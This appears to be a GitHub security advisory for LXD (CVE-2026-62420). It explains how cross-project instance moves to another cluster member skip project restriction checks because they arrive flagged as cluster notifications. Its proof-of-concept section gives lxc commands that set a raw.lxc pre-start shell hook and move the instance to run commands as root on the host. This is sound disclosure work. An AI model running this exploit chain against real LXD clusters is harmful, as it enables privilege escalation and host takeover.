Skip to content

Cross-project cluster migration bypasses project restrictions via cluster notification flag

Critical
tomponline published GHSA-v9wr-9r7q-fh4g Jul 31, 2026

Package

gomod github.com/canonical/lxd (Go)

Affected versions

>= 5.0, <= 6.9

Patched versions

5.0.8, 5.21.6, 6.10

Description

Summary

When an instance is moved cross-project to a different cluster member via POST /1.0/instances/{name} with migration: true, project: <target>, and target: <member>, the destination node skips all project restriction checks because the request arrives as a cluster notification.

Root Cause

instancePostClusteringMigrate at lxd/instance_post.go:812 connects to the destination member with the cluster notification flag set to true:

dest, err := cluster.Connect(ctx, newMember.Address, networkCert, s.ServerCert(), true)

On the destination member, instances_post.go:1270 identifies the request as a cluster notification:

clusterNotification := requestor.IsClusterNotification()

At line 1647, the restriction check is explicitly gated:

if !clusterNotification {
    restrictions, err := limits.FetchProject(ctx, tx, targetProjectName, true)
    // ...
    err = limits.AllowInstanceCreation(s.GlobalConfig, *restrictions, req)
}

When clusterNotification == true, no project restriction validation occurs — the instance is created with the full source config including dangerous keys like raw.lxc, raw.qemu, security.privileged, etc.

Impact

An attacker with project-level access (can create instances in an unrestricted project and has can_create_instances permission on a restricted target project) can:

  1. Create an instance with raw.lxc hooks (e.g., lxc.hook.pre-start = /bin/sh -c 'command') in an unrestricted project
  2. Move the instance cross-project to a restricted project on a different cluster member
  3. Start the instance in the restricted project — no start-time restriction re-validation occurs
  4. Execute arbitrary commands as root on the host

This bypasses all project restrictions: restricted.containers.lowlevel, restricted.containers.privilege, device restrictions, etc.

PoC

# In unrestricted project, create malicious instance
lxc init images:ubuntu/22.04 evil --project unrestricted
lxc config set evil raw.lxc 'lxc.hook.pre-start = /bin/sh -c "id > /tmp/pwned"' --project unrestricted

# Move cross-project to restricted project on different member
lxc move evil evil --project unrestricted --target-project restricted --target member2

# Start in restricted project — restriction check was skipped
lxc start evil --project restricted
# Host executes: /bin/sh -c "id > /tmp/pwned"

Affected Version

All clustered LXD deployments with multi-project configurations through lxd-6.9 (latest release).

Distinction from Related Issues

This is a different mechanism from the same-member move restriction bypass (which occurs because instancePostMigration calls instanceCreateAsCopy directly). This vulnerability is specifically about the cluster notification flag causing the destination to skip checks.

Suggested Fix

In instancePostClusteringMigrate, either:

  1. Don't use cluster notification flag for cross-project moves, OR
  2. Add explicit limits.AllowInstanceCreation check before the migration, OR
  3. On the destination, validate restrictions even for cluster notifications when the target project differs from the source project

Reported by zx (Jace)

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-62420

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

Credits